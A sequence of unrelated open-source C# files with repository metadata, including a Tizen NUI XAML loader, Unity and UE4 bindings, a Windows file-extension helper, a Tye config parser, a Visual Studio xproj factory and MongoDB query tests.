LoadObject<T>(string path) { var xaml = GetAnimationXaml(path); if (string.IsNullOrEmpty(xaml)) throw new XamlParseException(string.Format("No embeddedresource found for {0}", path), new XmlLineInfo()); Type type = typeof(T); T ret = (T)type.Assembly.CreateInstance(type.FullName); NameScopeExtensions.PushElement(ret); using (var textReader = new StringReader(xaml)) using (var reader = XmlReader.Create(textReader)) { while (reader.Read()) { //Skip until element if (reader.NodeType == XmlNodeType.Whitespace) continue; if (reader.NodeType == XmlNodeType.XmlDeclaration) continue; if (reader.NodeType != XmlNodeType.Element) { Debug.WriteLine("Unhandled node {0} {1} {2}", reader.NodeType, reader.Name, reader.Value); continue; } var rootnode = new RuntimeRootNode(new XmlType(reader.NamespaceURI, reader.Name, null), ret, (IXmlNamespaceResolver)reader); XamlParser.ParseXaml(rootnode, reader); Visit(rootnode, new HydrationContext { RootElement = ret, #pragma warning disable 0618 ExceptionHandler = ResourceLoader.ExceptionHandler ?? (Internals.XamlLoader.DoNotThrowOnExceptions ? e => { } : (Action<Exception>)null) #pragma warning restore 0618 }); break; } } NameScopeExtensions.PopElement(); return ret; } public static void Load(object view, string xaml) { using (var textReader = new StringReader(xaml)) using (var reader = XmlReader.Create(textReader)) { while (reader.Read()) { //Skip until element if (reader.NodeType == XmlNodeType.Whitespace) continue; if (reader.NodeType == XmlNodeType.XmlDeclaration) continue; if (reader.NodeType != XmlNodeType.Element) { Debug.WriteLine("Unhandled node {0} {1} {2}", reader.NodeType, reader.Name, reader.Value); continue; } if (view is Element) { (view as Element).IsCreateByXaml = true; } var rootnode = new RuntimeRootNode(new XmlType(reader.NamespaceURI, reader.Name, null), view, (IXmlNamespaceResolver)reader); XamlParser.ParseXaml(rootnode, reader); Visit(rootnode, new HydrationContext { RootElement = view, #pragma warning disable 0618 ExceptionHandler = ResourceLoader.ExceptionHandler ?? (Internals.XamlLoader.DoNotThrowOnExceptions ? e => { } : (Action<Exception>)null) #pragma warning restore 0618 }); break; } } } [Obsolete("Use the XamlFileProvider to provide xaml files. We will remove this when Cycle 8 hits Stable.")] public static object Create(string xaml, bool doNotThrow = false) { object inflatedView = null; using (var textreader = new StringReader(xaml)) using (var reader = XmlReader.Create(textreader)) { while (reader.Read()) { //Skip until element if (reader.NodeType == XmlNodeType.Whitespace) continue; if (reader.NodeType == XmlNodeType.XmlDeclaration) continue; if (reader.NodeType != XmlNodeType.Element) { Debug.WriteLine("Unhandled node {0} {1} {2}", reader.NodeType, reader.Name, reader.Value); continue; } var rootnode = new RuntimeRootNode(new XmlType(reader.NamespaceURI, reader.Name, null), null, (IXmlNamespaceResolver)reader); XamlParser.ParseXaml(rootnode, reader); var visitorContext = new HydrationContext { ExceptionHandler = doNotThrow ? e => { } : (Action<Exception>)null, }; var cvv = new CreateValuesVisitor(visitorContext); cvv.Visit((ElementNode)rootnode, null); inflatedView = rootnode.Root = visitorContext.Values[rootnode]; visitorContext.RootElement = inflatedView as BindableObject; Visit(rootnode, visitorContext); break; } } return inflatedView; } static void Visit(RootNode rootnode, HydrationContext visitorContext) { rootnode.Accept(new XamlNodeVisitor((node, parent) => node.Parent = parent), null); //set parents for {StaticResource} rootnode.Accept(new ExpandMarkupsVisitor(visitorContext), null); rootnode.Accept(new PruneIgnoredNodesVisitor(), null); rootnode.Accept(new NamescopingVisitor(visitorContext), null); //set namescopes for {x:Reference} rootnode.Accept(new CreateValuesVisitor(visitorContext), null); rootnode.Accept(new RegisterXNamesVisitor(visitorContext), null); rootnode.Accept(new FillResourceDictionariesVisitor(visitorContext), null); rootnode.Accept(new ApplyPropertiesVisitor(visitorContext, true), null); } static string GetAnimationXaml(string animationXamlPath) { string xaml; if (File.Exists(animationXamlPath)) { StreamReader reader = new StreamReader(animationXamlPath); xaml = reader.ReadToEnd(); reader.Close(); reader.Dispose(); Tizen.Log.Fatal("NUI", "File is exist!, try with xaml: " + xaml); return xaml; } return null; } static string GetXamlForType(Type type) { //the Previewer might want to provide it's own xaml for this... let them do that //the check at the end is preferred (using ResourceLoader). keep this until all the previewers are updated string xaml; string resourceName = type.Name + ".xaml"; string resource = Tizen.Applications.Application.Current.DirectoryInfo.Resource; Tizen.Log.Fatal("NUI", "the resource path: " + resource); int windowWidth = NUIApplication.GetDefaultWindow().Size.Width; int windowHeight = NUIApplication.GetDefaultWindow().Size.Height; string likelyResourcePath = resource + "layout/" + windowWidth.ToString() + "x" + windowHeight.ToString() + "/" + resourceName; Tizen.Log.Fatal("NUI", "the resource path: " + likelyResourcePath); if (!File.Exists(likelyResourcePath)) { likelyResourcePath = resource + "layout/" + resourceName; } //Find the xaml file in the layout folder if (File.Exists(likelyResourcePath)) { StreamReader reader = new StreamReader(likelyResourcePath); xaml = reader.ReadToEnd(); reader.Close(); reader.Dispose(); Tizen.Log.Fatal("NUI", "File is exist!, try with xaml: " + xaml); var pattern = String.Format("x:Class *= *\"{0}\"", type.FullName); var regex = new Regex(pattern, RegexOptions.ECMAScript); if (regex.IsMatch(xaml) || xaml.Contains(String.Format("x:Class=\"{0}\"", type.FullName))) { return xaml; } else { throw new XamlParseException(string.Format("Can't find type {0}", type.FullName), new XmlLineInfo()); } } else { Assembly assembly = type.Assembly; Stream stream = null; foreach (string str in assembly.GetManifestResourceNames()) { string resourceClassName = str.Substring(0, str.LastIndexOf('.')); int index = resourceClassName.LastIndexOf('.'); if (0 <= index && index < resourceClassName.Length) { resourceClassName = resourceClassName.Substring(index + 1); if (resourceClassName == type.Name) { stream = assembly.GetManifestResourceStream(str); break; } } } if (null == stream) { throw new XamlParseException(string.Format("Can't find type {0} in embedded resource", type.FullName), new XmlLineInfo()); } else { Byte[] buffer = new byte[stream.Length]; stream.Read(buffer, 0, (int)stream.Length); string ret = System.Text.Encoding.Default.GetString(buffer); return ret; } } return null; } //if the assembly was generated using a version of XamlG that doesn't outputs XamlResourceIdAttributes, we still need to find the resource, and load it static readonly Dictionary<Type, string> XamlResources = new Dictionary<Type, string>(); static string LegacyGetXamlForType(Type type) { var assembly = type.GetTypeInfo().Assembly; string resourceId; if (XamlResources.TryGetValue(type, out resourceId)) { var result = ReadResourceAsXaml(type, assembly, resourceId); if (result != null) return result; } var likelyResourceName = type.Name + ".xaml"; var resourceNames = assembly.GetManifestResourceNames(); string resourceName = null; // first pass, pray to find it because the user named it correctly foreach (var resource in resourceNames) { if (ResourceMatchesFilename(assembly, resource, likelyResourceName)) { resourceName = resource; var xaml = ReadResourceAsXaml(type, assembly, resource); if (xaml != null) return xaml; } } // okay maybe they at least named it .xaml foreach (var resource in resourceNames) { if (!resource.EndsWith(".xaml", StringComparison.OrdinalIgnoreCase)) continue; resourceName = resource; var xaml = ReadResourceAsXaml(type, assembly, resource); if (xaml != null) return xaml; } foreach (var resource in resourceNames) { if (resource.EndsWith(".xaml", StringComparison.OrdinalIgnoreCase)) continue; resourceName = resource; var xaml = ReadResourceAsXaml(type, assembly, resource, true); if (xaml != null) return xaml; } return null; } //legacy... static bool ResourceMatchesFilename(Assembly assembly, string resource, string filename) { try { var info = assembly.GetManifestResourceInfo(resource); if (!string.IsNullOrEmpty(info.FileName) && string.Compare(info.FileName, filename, StringComparison.OrdinalIgnoreCase) == 0) return true; } catch (PlatformNotSupportedException) { // Because Win10 + .NET Native } if (resource.EndsWith("." + filename, StringComparison.OrdinalIgnoreCase) || string.Compare(resource, filename, StringComparison.OrdinalIgnoreCase) == 0) return true; return false; } //part of the legacy as well... static string ReadResourceAsXaml(Type type, Assembly assembly, string likelyTargetName, bool validate = false) { using (var stream = assembly.GetManifestResourceStream(likelyTargetName)) using (var reader = new StreamReader(stream)) { if (validate) { // terrible validation of XML. Unfortunately it will probably work most of the time since comments // also start with a <. We can't bring in any real deps. var firstNonWhitespace = (char)reader.Read(); while (char.IsWhiteSpace(firstNonWhitespace)) firstNonWhitespace = (char)reader.Read(); if (firstNonWhitespace != '<') return null; stream.Seek(0, SeekOrigin.Begin); } var xaml = reader.ReadToEnd(); var pattern = String.Format("x:Class *= *\"{0}\"", type.FullName); var regex = new Regex(pattern, RegexOptions.ECMAScript); if (regex.IsMatch(xaml) || xaml.Contains(String.Format("x:Class=\"{0}\"", type.FullName))) return xaml; } return null; } public class RuntimeRootNode : RootNode { public RuntimeRootNode(XmlType xmlType, object root, IXmlNamespaceResolver resolver) : base(xmlType, resolver) { Root = root; } public object Root { get; internal set; } } internal static string GetXamlForName(string nameOfXamlFile) { string xaml; string resourceName = nameOfXamlFile + ".xaml"; string resource = Tizen.Applications.Application.Current.DirectoryInfo.Resource; NUILog.Debug($"resource=({resource})"); int windowWidth = NUIApplication.GetDefaultWindow().Size.Width; int windowHeight = NUIApplication.GetDefaultWindow().Size.Height; string likelyResourcePath = resource + "layout/" + windowWidth.ToString() + "x" + windowHeight.ToString() + "/" + resourceName; NUILog.Debug($"likelyResourcePath=({likelyResourcePath})"); if (!File.Exists(likelyResourcePath)) { likelyResourcePath = resource + "layout/" + resourceName; } //Find the xaml file in the layout folder if (File.Exists(likelyResourcePath)) { StreamReader reader = new StreamReader(likelyResourcePath); xaml = reader.ReadToEnd(); NUILog.Debug($"File is exist!, try with xaml: {xaml}"); // Layer var pattern = String.Format("x:Class *= *\"{0}\"", "Tizen.NUI.Layer"); var regex = new Regex(pattern, RegexOptions.ECMAScript); if (regex.IsMatch(xaml) || xaml.Contains(String.Format("x:Class=\"{0}\"", "Tizen.NUI.Layer"))) { return xaml; } // View pattern = String.Format("x:Class *= *\"{0}\"", "Tizen.NUI.BaseComponents.View"); regex = new Regex(pattern, RegexOptions.ECMAScript); if (regex.IsMatch(xaml) || xaml.Contains(String.Format("x:Class=\"{0}\"", "Tizen.NUI.BaseComponents.View"))) { return xaml; } throw new XamlParseException(string.Format("Can't find type {0}", "Tizen.NUI.XamlMainPage nor View nor Layer"), new XmlLineInfo()); } return null; } } }
40.919255
160
0.547511
[ "Apache-2.0", "MIT" ]
Seoyeon2Kim/TizenFX
src/Tizen.NUI/src/internal/Xaml/XamlLoader.cs
19,766
C#
// Copyright 2018 by JCoder58. See License.txt for license // Auto-generated --- Do not modify. using System; using System.Collections.Generic; using System.Runtime.InteropServices; using UE4.Core; using UE4.CoreUObject; using UE4.CoreUObject.Native; using UE4.InputCore; using UE4.Native; #pragma warning disable CS0108 using UE4.ViewportInteraction.Native; namespace UE4.ViewportInteraction { ///<summary>Viewport Interactable Interface</summary> public unsafe partial class ViewportInteractableInterface : Interface { static ViewportInteractableInterface() { StaticClass = Main.GetClass("ViewportInteractableInterface"); } internal unsafe ViewportInteractableInterface_fields* ViewportInteractableInterface_ptr => (ViewportInteractableInterface_fields*) ObjPointer.ToPointer(); ///<summary>Convert from IntPtr to UObject</summary> public static implicit operator ViewportInteractableInterface(IntPtr p) => UObject.Make<ViewportInteractableInterface>(p); ///<summary>Get UE4 Class</summary> public static Class StaticClass {get; private set;} ///<summary>Get UE4 Default Object for this Class</summary> public static ViewportInteractableInterface DefaultObject => Main.GetDefaultObject(StaticClass); ///<summary>Spawn an object of this class</summary> public static ViewportInteractableInterface New(UObject obj = null, Name name = new Name()) => Main.NewObject(StaticClass, obj, name); } }
45.757576
162
0.750331
[ "MIT" ]
UE4DotNet/Plugin
DotNet/DotNet/UE4/Generated/ViewportInteraction/ViewportInteractableInterface.cs
1,510
C#
using Microsoft.Win32; using System; using System.Runtime.InteropServices; using System.Text; namespace BluePointLilac.Methods { public static class FileExtension { [Flags] enum AssocF { Init_NoRemapCLSID = 0x1, Init_ByExeName = 0x2, Open_ByExeName = 0x2, Init_DefaultToStar = 0x4, Init_DefaultToFolder = 0x8, NoUserSettings = 0x10, NoTruncate = 0x20, Verify = 0x40, RemapRunDll = 0x80, NoFixUps = 0x100, IgnoreBaseClass = 0x200 } enum AssocStr { Command = 1, Executable, FriendlyDocName, FriendlyAppName, NoOpen, ShellNewValue, DDECommand, DDEIfExec, DDEApplication, DDETopic } [DllImport("shlwapi.dll", SetLastError = true, CharSet = CharSet.Auto)] private static extern uint AssocQueryString(AssocF flags, AssocStr str, string pszAssoc, string pszExtra, [Out] StringBuilder pszOut, ref uint pcchOut); public const string FileExtsPath = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts"; private static string GetExtentionInfo(AssocStr assocStr, string extension) { uint pcchOut = 0; AssocQueryString(AssocF.Verify, assocStr, extension, null, null, ref pcchOut); StringBuilder pszOut = new StringBuilder((int)pcchOut); AssocQueryString(AssocF.Verify, assocStr, extension, null, pszOut, ref pcchOut); return pszOut.ToString(); } public static string GetExecutablePath(string extension) { return GetExtentionInfo(AssocStr.Executable, extension); } public static string GetFriendlyDocName(string extension) { return GetExtentionInfo(AssocStr.FriendlyDocName, extension); } public static string GetOpenMode(string extension) { string mode = null; if(string.IsNullOrEmpty(extension)) return mode; mode = Registry.GetValue($@"{FileExtsPath}\{extension}\UserChoice", "ProgId", null)?.ToString(); if(!string.IsNullOrEmpty(mode)) return mode; mode = Registry.GetValue($@"HKEY_CLASSES_ROOT\{extension}", "", null)?.ToString(); return mode; } } }
33.418919
160
0.600081
[ "MIT" ]
Da-baixiong/ContextMenuManager
ContextMenuManager/BluePointLilac.Methods/FileExtension.cs
2,475
C#
/// ///////////////////////////////////////////////////////////////////////////////////////////////////// /// FileName: Board.cs /// FileType: Visual C# Source file /// Author : Sanouche /// Application codename : WarQuest /// Audience : Dev by Kids, for Kids ! /// Created On : 01/01/2021 /// Copy Rights : MIT License /// Description : Class for defining database related functions /// License : MIT License, https://opensource.org/licenses/MIT /// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, /// INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR /// PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, /// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, /// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. /// //////////////////////////////////////////////////////////////////////////////////////////////////////// using System; namespace WarQuest.WinFormMVC.Models { class Board { public const string GAME_CODE_NAME = "WarQuest (C) 2021 CC by Sanouche "; public const int HEIGHT_SIZE = 16; public const int WIDTH_SIZE = 16; public const int SQUARE_SIZE = 35; } }
44.566667
109
0.599102
[ "MIT" ]
thavo/WarQuest.WinFormMVC
WarQuest.WinFormMVC/Models/Board.cs
1,339
C#
using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagement; public class SceneLoader : MonoBehaviour { public string sceneForLoad; void OnMouseDown(){ SceneManager.LoadScene (sceneForLoad); } }
15.294118
42
0.788462
[ "MIT" ]
NikitosSTR/Color-n-Circle
Assets/Scripts/SceneLoader.cs
262
C#
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace SimpleData.Data.Log { public class Log { public Log() { LogType = LogType.Normal; LogTime = DateTime.Now; } public Log(string logInfo, LogType logType = LogType.Normal, DateTime? logTime = null) { LogType = logType; LogTime = logTime ?? DateTime.Now; LogInfo = logInfo; } public LogType LogType { get; set; } public DateTime LogTime { get; set; } public string LogInfo { get; set; } } public enum LogType { Normal = 0, Warning = 1, Error = 2 } }
21.027778
94
0.553501
[ "MIT" ]
acmajia/SimpleData
src/SimpleData.Log/Log.cs
759
C#
#nullable enable using System; using System.Diagnostics; namespace Elffy.Serialization.Fbx.Semantic { [DebuggerDisplay("{DebugDisplay(),nq}")] internal readonly struct Connection : IEquatable<Connection> { public readonly ConnectionType ConnectionType; public readonly long SourceID; public readonly long DestID; public Connection(ConnectionType type, long source, long dest) { ConnectionType = type; SourceID = source; DestID = dest; } public override bool Equals(object? obj) => obj is Connection connection && Equals(connection); public bool Equals(Connection other) => ConnectionType == other.ConnectionType && SourceID == other.SourceID && DestID == other.DestID; public override int GetHashCode() => HashCode.Combine(ConnectionType, SourceID, DestID); public override string ToString() => DebugDisplay(); private string DebugDisplay() => $"({ConnectionType}) {SourceID} -- {DestID}"; } }
32.5625
143
0.664107
[ "MIT" ]
ikorin24/Elffy
src/Elffy.Serialization/Serialization/Fbx/Semantic/Connection.cs
1,044
C#
namespace MemoryGame.Engine.Models { public class Game { public Player Player1 { get; set; } public Player Player2 { get; set; } public Board Board { get; set; } public Card LastCard { get; set; } public string WhosTurn { get; set; } } }
22.538462
44
0.573379
[ "MIT" ]
gearhead2k/MemoryGameSample
src/MemoryGame/MemoryGame.Engine/Models/Game.cs
295
C#
//----------------------------------------------------------------------- // <copyright file="Validate.cs" company="Stephen Toub"> // Copyright (c) Stephen Toub. All rights reserved. // </copyright> //----------------------------------------------------------------------- using System; using System.Globalization; namespace MidiSharp { internal static class Validate { #region Throw* internal static void ThrowOutOfRange<T>(string parameterName, T input, T minInclusive, T maxInclusive) { throw new ArgumentOutOfRangeException(parameterName, string.Format(CultureInfo.CurrentUICulture, "{0} is outside of range [{1},{2}]", input, minInclusive, maxInclusive)); } internal static void ThrowNull(string parameterName) { throw new ArgumentNullException(parameterName); } internal static void ThrowNonNegativeInvalidData() { throw new InvalidOperationException("A zero or positive value was expected."); } #endregion #region InRange internal static void InRange(string parameterName, byte input, byte minInclusive, byte maxInclusive) { if (input < minInclusive || input > maxInclusive) ThrowOutOfRange(parameterName, input, minInclusive, maxInclusive); } internal static void InRange(string parameterName, sbyte input, sbyte minInclusive, sbyte maxInclusive) { if (input < minInclusive || input > maxInclusive) ThrowOutOfRange(parameterName, input, minInclusive, maxInclusive); } internal static void InRange(string parameterName, int input, int minInclusive, int maxInclusive) { if (input < minInclusive || input > maxInclusive) ThrowOutOfRange(parameterName, input, minInclusive, maxInclusive); } internal static void InRange(string parameterName, long input, long minInclusive, long maxInclusive) { if (input < minInclusive || input > maxInclusive) ThrowOutOfRange(parameterName, input, minInclusive, maxInclusive); } #endregion #region SetIfInRange internal static void SetIfInRange(string parameterName, ref byte target, byte input, byte minInclusive, byte maxInclusive) { InRange(parameterName, input, minInclusive, maxInclusive); target = input; } internal static void SetIfInRange(string parameterName, ref int target, int input, int minInclusive, int maxInclusive) { InRange(parameterName, input, minInclusive, maxInclusive); target = input; } internal static void SetIfInRange(string parameterName, ref long target, long input, long minInclusive, long maxInclusive) { InRange(parameterName, input, minInclusive, maxInclusive); target = input; } #endregion #region *NonNull internal static void NonNull<T>(string parameterName, T input) where T : class { if (input == null) ThrowNull(parameterName); } internal static void SetIfNonNull<T>(string parameterName, ref T target, T input) where T : class { NonNull(parameterName, input); target = input; } #endregion #region NonNegative public static int NonNegative(int value) { if (value < 0) { ThrowNonNegativeInvalidData(); } return value; } #endregion } }
37.092784
133
0.607838
[ "MIT" ]
Connor14/MidiSharp
MidiSharp/Validate.cs
3,600
C#
using System.Linq; using System.Threading.Tasks; using EasyParking.Domain.Entities; namespace EasyParking.Domain { public class ParkingDbInitializer { private ParkingDbContext _ctx; public ParkingDbInitializer(ParkingDbContext ctx) { _ctx = ctx; } public async Task Seed() { if (!_ctx.Parkings.Any()) { await _ctx.AddRangeAsync(_sampleData); await _ctx.SaveChangesAsync(); } } private object[] _sampleData = { new ParkingArea { Name = "Parking A", Moniker = "ParkingA", Location = new Location { Address1 = "Demyana Bednogo str. 1", PostalCode = "123423", CityTown = "Moscow", Country = "Russia", StateProvince = "Moscow" }, Owner = new Owner { Name = "Customer 1", CompanyName = "Customer Company", PhoneNumber = "+7(495)900-00-00", WebsiteUrl = "customer@customercompany.com", } }, new ParkingArea { Name = "Parking B", Moniker = "ParkingB", Location = new Location { Address1 = "Karamyshevskaya emb. 12", PostalCode = "123423", CityTown = "Moscow", Country = "Russia", StateProvince = "Moscow" }, Owner = new Owner { Name = "Customer 2", CompanyName = "Customer2 Company", PhoneNumber = "+7(495)900-11-11", WebsiteUrl = "customer2@customercompany.com", } } }; } }
29.25641
69
0.369851
[ "MIT" ]
olegmusin/EasyParking
EasyParking/EasyParking/Domain/ParkingDbInitializer.cs
2,284
C#
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace InvasionWar { public class GameSettings { public static float GemTranslationDuration = 0.3f; public static float GemFadeDuration = 0.3f; public static float GemTransitionToOvertake = 0.5f; public static float GemSelectedEffectDuration = 0.15f; public static string UIPath = @"Sprite\GameUI\"; public static string HexagonServer = "http://localhost:1234"; } }
25.95
69
0.699422
[ "MIT" ]
bikrone/InvasionWar
WindowsGame1/WindowsGame1/GameSettings.cs
521
C#
using System; using System.Collections.Generic; using System.Text; using CoreGraphics; using Uno.Extensions; using Microsoft.Extensions.Logging; using Uno.Logging; using Windows.Foundation; using UIKit; namespace Windows.UI.Xaml.Controls { public sealed partial class ListViewBaseScrollContentPresenter : IScrollContentPresenter { public CGPoint UpperScrollLimit => NativePanel?.UpperScrollLimit ?? CGPoint.Empty; public UIEdgeInsets ContentInset { get => NativePanel?.ContentInset ?? default(UIEdgeInsets); set => NativePanel.ContentInset = value; } Size? IScrollContentPresenter.CustomContentExtent => NativePanel?.ContentSize; public void SetContentOffset(CGPoint contentOffset, bool animated) { NativePanel?.SetContentOffset(contentOffset, animated); } public void SetZoomScale(nfloat scale, bool animated) { NativePanel?.SetZoomScale(scale, animated); } bool INativeScrollContentPresenter.Set( double? horizontalOffset, double? verticalOffset, float? zoomFactor, bool disableAnimation, bool isIntermediate) => throw new NotImplementedException(); } }
25.454545
89
0.776786
[ "Apache-2.0" ]
GraniteStateHacker/uno
src/Uno.UI/UI/Xaml/Controls/ListViewBase/ListViewBaseScrollContentPresenter.iOS.cs
1,122
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Microsoft.Tye.ConfigModel; using YamlDotNet.RepresentationModel; namespace Tye.Serialization { public static class ConfigApplicationParser { public static void HandleConfigApplication(YamlMappingNode yamlMappingNode, ConfigApplication app) { foreach (var child in yamlMappingNode.Children) { var key = YamlParser.GetScalarValue(child.Key); switch (key) { case "name": app.Name = YamlParser.GetScalarValue(key, child.Value); break; case "namespace": app.Namespace = YamlParser.GetScalarValue(key, child.Value); break; case "network": app.Network = YamlParser.GetScalarValue(key, child.Value); break; case "registry": app.Registry = YamlParser.GetScalarValue(key, child.Value); break; case "ingress": YamlParser.ThrowIfNotYamlSequence(key, child.Value); ConfigIngressParser.HandleIngress((child.Value as YamlSequenceNode)!, app.Ingress); break; case "services": YamlParser.ThrowIfNotYamlSequence(key, child.Value); ConfigServiceParser.HandleServiceMapping((child.Value as YamlSequenceNode)!, app.Services); break; case "extensions": YamlParser.ThrowIfNotYamlSequence(key, child.Value); ConfigExtensionsParser.HandleExtensionsMapping((child.Value as YamlSequenceNode)!, app.Extensions); break; default: throw new TyeYamlException(child.Key.Start, CoreStrings.FormatUnrecognizedKey(key)); } } } } }
43.843137
123
0.541592
[ "MIT" ]
AlecPapierniak/tye
src/Microsoft.Tye.Core/Serialization/ConfigApplicationParser.cs
2,238
C#
//------------------------------------------------------------------------------ // <auto-generated> // Dieser Code wurde von einem Tool generiert. // Laufzeitversion:4.0.30319.42000 // // Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn // der Code erneut generiert wird. // </auto-generated> //------------------------------------------------------------------------------ namespace TastImageMaker.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.9.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } }
40.925926
151
0.59638
[ "MIT" ]
Tauron1990/ImageOrgenizer
TastImageMaker/Properties/Settings.Designer.cs
1,109
C#
// Licensed to the .NET Foundation under one or more agreements. The .NET Foundation licenses this file to you under the MIT license. See the LICENSE.md file in the project root for more information. using System; using System.ComponentModel.Composition; using System.IO; using System.Runtime.InteropServices; using Microsoft.VisualStudio.Shell; using Microsoft.VisualStudio.Shell.Flavor; using Microsoft.VisualStudio.Shell.Interop; using Microsoft.VisualStudio.Threading; using IAsyncServiceProvider = Microsoft.VisualStudio.Shell.IAsyncServiceProvider; using Task = System.Threading.Tasks.Task; namespace Microsoft.VisualStudio.ProjectSystem.VS.Xproj { [Export(typeof(IPackageService))] [Guid(ProjectType.LegacyXProj)] internal sealed class XprojProjectFactory : FlavoredProjectFactoryBase, IVsProjectUpgradeViaFactory4, IPackageService, IDisposable { private readonly JoinableTaskContext _context; private IVsRegisterProjectTypes? _registerProjectTypes; private uint _cookie = VSConstants.VSCOOKIE_NIL; [ImportingConstructor] public XprojProjectFactory(JoinableTaskContext context) { _context = context; } public async Task InitializeAsync(IAsyncServiceProvider asyncServiceProvider) { Assumes.Null(_registerProjectTypes); _context.VerifyIsOnMainThread(); _registerProjectTypes = await asyncServiceProvider.GetServiceAsync<SVsRegisterProjectTypes, IVsRegisterProjectTypes>(); ((IVsProjectFactory)this).SetSite(new ServiceProviderToOleServiceProviderAdapter(ServiceProvider.GlobalProvider)); Guid guid = GetType().GUID; Verify.HResult(_registerProjectTypes.RegisterProjectType(ref guid, this, out _cookie)); } public void UpgradeProject_CheckOnly( string fileName, IVsUpgradeLogger? logger, out uint upgradeRequired, out Guid migratedProjectFactory, out uint upgradeProjectCapabilityFlags) { // Xproj is deprecated. It cannot be upgraded, and cannot be loaded. upgradeRequired = (uint)__VSPPROJECTUPGRADEVIAFACTORYREPAIRFLAGS.VSPUVF_PROJECT_DEPRECATED; migratedProjectFactory = GetType().GUID; upgradeProjectCapabilityFlags = 0; // Log a message explaining that the project cannot be automatically upgraded // and how to perform the upgrade manually. This message will be presented in // the upgrade report. logger?.LogMessage( (uint)__VSUL_ERRORLEVEL.VSUL_ERROR, Path.GetFileNameWithoutExtension(fileName), fileName, VSResources.XprojNotSupported); } protected override object PreCreateForOuter(IntPtr outerProjectIUnknown) { // Should not be called throw new NotImplementedException(); } public void Dispose() { _context.VerifyIsOnMainThread(); if (_cookie != VSConstants.VSCOOKIE_NIL && _registerProjectTypes != null) { Verify.HResult(_registerProjectTypes.UnregisterProjectType(_cookie)); } Dispose(disposing: true); } } }
40.5
201
0.67284
[ "MIT" ]
Ashishpatel2321/project-system
src/Microsoft.VisualStudio.ProjectSystem.Managed.VS/ProjectSystem/VS/Xproj/XprojProjectFactory.cs
3,321
C#
/* Copyright 2010-2015 MongoDB Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using MongoDB.Bson; using MongoDB.Driver.Builders; using NUnit.Framework; namespace MongoDB.Driver.Tests.Jira.CSharp137 { [TestFixture] public class CSharp137Tests { [Test] public void TestAndInNotIn() { var query = Query.And( Query.In("value", new BsonValue[] { 1, 2, 3, 4 }), Query.NotIn("value", new BsonValue[] { 11, 12, 13, 14 }) ); Assert.AreEqual( new BsonDocument { { "value", new BsonDocument { { "$in", new BsonArray { 1, 2, 3, 4 } }, { "$nin", new BsonArray { 11, 12, 13, 14 } } } } }, query.ToBsonDocument()); } [Test] public void TestAndGtLt() { var query = Query.And( Query.NotIn("value", new BsonValue[] { 1, 2, 3 }), Query.EQ("OtherValue", 1), Query.GT("value", 6), Query.LT("value", 20) ); Assert.AreEqual( new BsonDocument { { "value", new BsonDocument { {"$nin", new BsonArray { 1, 2, 3 }}, {"$gt", 6}, {"$lt", 20} } }, { "OtherValue", 1 } }, query.ToBsonDocument()); } [Test] public void TestDuplicateEq() { // now that server supports $and this is actually syntactically valid var query = Query.And( Query.EQ("value", 6), Query.EQ("value", 20) ); var expected = "{ '$and' : [{ 'value' : 6 }, { 'value' : 20 }] }".Replace("'", "\""); var json = query.ToJson(); Assert.AreEqual(expected, json); } [Test] public void TestEq1() { // now that server supports $and this is actually syntactically valid var query = Query.And( Query.EQ("value", 6), Query.LT("value", 20) ); var expected = "{ '$and' : [{ 'value' : 6 }, { 'value' : { '$lt' : 20 } }] }".Replace("'", "\""); var json = query.ToJson(); Assert.AreEqual(expected, json); } [Test] public void TestEq2() { // now that server supports $and this is actually syntactically valid var query = Query.And( Query.GT("value", 6), Query.EQ("value", 20) ); var expected = "{ '$and' : [{ 'value' : { '$gt' : 6 } }, { 'value' : 20 }] }".Replace("'", "\""); var json = query.ToJson(); Assert.AreEqual(expected, json); } [Test] public void TestDuplicateOperation() { // now that server supports $and this is actually syntactically valid var query = Query.And( Query.LTE("value", 6), Query.LTE("value", 20) ); var expected = "{ '$and' : [{ 'value' : { '$lte' : 6 } }, { 'value' : { '$lte' : 20 } }] }".Replace("'", "\""); var json = query.ToJson(); Assert.AreEqual(expected, json); } } }
32.983871
123
0.450611
[ "Apache-2.0" ]
InternationNova/MEANJS
src/MongoDB.Driver.Legacy.Tests/Jira/CSharp137Tests.cs
4,090
C#
